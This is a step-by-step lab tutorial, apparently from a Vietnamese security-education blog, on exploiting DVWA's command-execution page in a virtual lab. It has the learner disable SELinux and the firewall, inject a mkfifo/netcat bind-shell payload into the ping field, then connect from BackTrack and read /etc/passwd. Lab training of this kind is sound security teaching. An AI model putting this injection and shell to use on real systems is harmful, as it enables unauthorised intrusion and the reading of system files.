Home »
DVWA
 , 
Onsite Lab
 » Hướng Dẫn Thực Hành - Command Execution using Netcat (DVWA): Lesson 3
 
Hướng Dẫn Thực Hành - Command Execution using Netcat (DVWA): Lesson 3
 		
									| 				Section 0. Background  				Information | 			
- What is Damn Vulnerable Web App (DVWA)?
- Damn Vulnerable Web App (DVWA) is a PHP/MySQL  	web application that is damn vulnerable. 
 - Its main goals are to be an aid for security  	professionals to test their skills and tools in a legal environment, help  	web developers better understand the processes of securing web applications  	and aid teachers/students to teach/learn web application security in a class  	room environment. 
 
 - Pre-Requisite Lab
- 	 	Damn Vulnerable Web App (DVWA): Lesson 1: How to Install DVWA in Fedora 14
 - 	 	Damn Vulnerable Web App (DVWA): Lesson 2: Command Execution Basic Testing
 
 - 	Lab  	Notes
- In this lab we will do the following:
- We will test Command Execution where  		Security is set to low
 - We will append the Netcat command to an IP  		Address.
 - Then we will start up Backtrack and connect  		to the Netcat session created inside of DVWA.
 
 
 
- Legal Disclaimer
 - Chỉ dùng cho mục đích học tập.
 
							| 				Section 1.  				Configure Fedora14 Virtual Machine Settings | 			
- Open Your VMware Player
- Instructions:
- On Your Host Computer, Go To
 - Start --> All Program --> VMWare --> VMWare Player
 
 
 - Edit BackTrack Virtual Machine Settings
- Instructions:
- Highlight fedora14
 - Click Edit virtual machine settings
 
 
 - Edit Network Adapter
 - Instructions:
- Highlight Network Adapter
 - Select Bridged
 - Click on the OK Button.
 
 
 									| 				Section 2.  				Login to Fedora14 | 			
- Start Fedora14 VM Instance
- Instructions:
- Start Up VMWare Player
 - Select Fedora14
 - Play virtual machine
 
 
 - Login to Fedora14
- Instructions:
- Login: student
 - Password: <whatever you set  			it to>.
 
 - 		

 
 
 									| 				Section 3.  				Open Console Terminal and Retrieve IP Address | 			
- Start a Terminal Console
- Instructions:
- Applications --> Terminal
 
 
 - Switch user to root
- Instructions:
- su - root
 - <Whatever you set the root password to>
 
 - 		

 
 - Get IP Address
- Instructions:
- ifconfig -a
 
 - Notes:
- As indicated below, my IP address is  		192.168.1.106.
 - Please record your IP address.
 
 
 
 									| 				Section 4.  				Temporarily Disable SELINUX and Firewall | 			
- Start a Terminal Console
- Instructions:
- sestatus
 - If SELinux status: is set to 			disabled OR if 			Current mode: is set to permissive, then skip the  			next steps, and Continue to the Next Section.
 - If SELinux status: is set to 			enabled AND if 			Current mode: is set to enforcing, then Continue  			the next steps.
 
 - Notes:
- In my case, I need to temporarily put  			selinux in permissive mode to demonstrate basic attacks on DVWA.
 
 
 - Place selinux in permissive mode
- Instructions:
- echo 0 > /selinux/enforce
- Placing a "0" in the enforce file,  				puts selinux in permissive mode.
 
 - sestatus
- Notice that "Current mode:" changed  				to permissive.
 
 
 - 		

 
 - Disable Firewall
- Instructions:
- service iptables save
- This is not really necessary,  				unless you have made recent changes to the firewall.
 
 - service iptables stop
- This command disables the firewall.
 
 
 
 
 									| 				Section 5.  				Start Up Damn Vulnerable Web App (DVWA) | 			
- Start up a Web Browser  
- Instructions:
- Applications --> Internet --> Firefox
 
 - Notes:
- You can open up a Web browser on any  		Operating System on your network.
 - Working with DVWA does not have to be done  		on your Fedora machine, the only requirement to play with DVWA is a  		follow
- The Fedora Server is on the Network.
 - httpd is running
 - mysqld is running
 
 
 
 - DVWA Database setup  
- Instructions:
- http://192.168.1.106/dvwa/login.php
- Replace 192.168.1.106 with the IP  				Address obtained from Section 3, Step 3.
 
 - Username: admin
 - Password: password
- "password" is the default password  				for user admin.
 
 
 
 - Set Website Security Level (Part 1) 
- Instructions:
- Click on DVWA Security
 
 
 - Set Website Security Level (Part 2) 
- Instructions:
- Select Low
 - Click Submit
 
 
 
 									| 				Section 6.  				Command Execution | 			
- Command Execution  
- Instructions:
- Click on Command Execution
 
 - 		

 
 - Execute Netcat  
- Notes:
- Below we are going to append NetCat to  			the basic ping test.  :)
 
 - Instructions:
- 192.168.1.106;mkfifo  			/tmp/pipe;sh /tmp/pipe | nc -l 4444 > /tmp/pipe
- Make a FIFO  				named pipe.
 - Pipes allow separate processes to  				communicate without having been designed explicitly to work  				together.
 - This will  				allow two processes to connect to netcat.
 - nc -l 4444,  				tells netcat to listen and allow connections on port 4444.
 
 - Click Submit
 
 
 
 			| 		Section 7. Configure BackTrack Virtual Machine Settings | 	
- Open Your VMware Player
- Instructions:
- On Your Host Computer, Go To
 - Start --> All Program --> VMWare -->  			VMWare Player
 
 
 - Edit BackTrack Virtual Machine Settings
- Instructions:
- Highlight BackTrack5R1
 - Click Edit virtual machine settings
 
 
 - Edit Network Adapter	
- Instructions:
- Highlight Network Adapter
 - Select Bridged
 - Do not Click on the OK Button.
 
 
 
 			| 		Section 8. Login to BackTrack | 	
- Start BackTrack VM Instance
- Instructions:
- Start Up VMWare Player
 - Select BackTrack5R1
 - Play virtual machine
 
 
 - Login to BackTrack
- Instructions:
- Login: root
 - Password: toor or <whatever you changed  			it to>.
 
 
 - Bring up the GNOME
- Instructions:
- Type startx
 
 
 
 			| 		Section 9. Open Console Terminal and Retrieve IP Address | 	
- Open a console terminal
- Instructions:
- Click on the console terminal
 
 
 - Get IP Address
- Instructions:
- ifconfig -a
 
 - Notes:
- As indicated below, my IP address is  			192.168.1.105.
 - Please record your IP address.
 
 
 
  			| 		Section 9. Use NetCat on BackTrack to Connect to DVWA's Netcat session | 	
- Connect to Netcat
- Notes:
- 192.168.1.106 is the IP Address of the  			Fedora Server running DVWA.
 - To obtain this IP Address, see Section  			3, Step 3. 
 
 - Instructions:
- nc 192.168.1.106 4444
- Use BackTrack to Connect to DVWA  				Netcat session on port 4444
 
 - hostname
- This is server hostname that hosts  				DVWA.
 
 - uname -a
- List System Kernel and Architecture  				Information
 
 - who
- Display who is logged into the  				Fedora Server.
 
 - head -10 passwd
- Show 10 lines of the /etc/passwd  				file
 
 
 
 
 		- Proof of Lab
- Instructions:
- date
 - echo "Your Name"
- Replace the string "Your Name" with  				your actual name.
 - e.g., echo "John Gray"
 
 - netstat -naop | grep 4444
 - Press the <Ctrl> and "c" keys
 
 - 		Proof of Lab Instructions:
- Do a <PrtScn>
 - Paste into a word document
 - Email to AnToanThongTin.Edu.Vn@Gmail.Com
 
 - 		

 
 
 
 
 
0 nhận xét:
Đăng nhận xét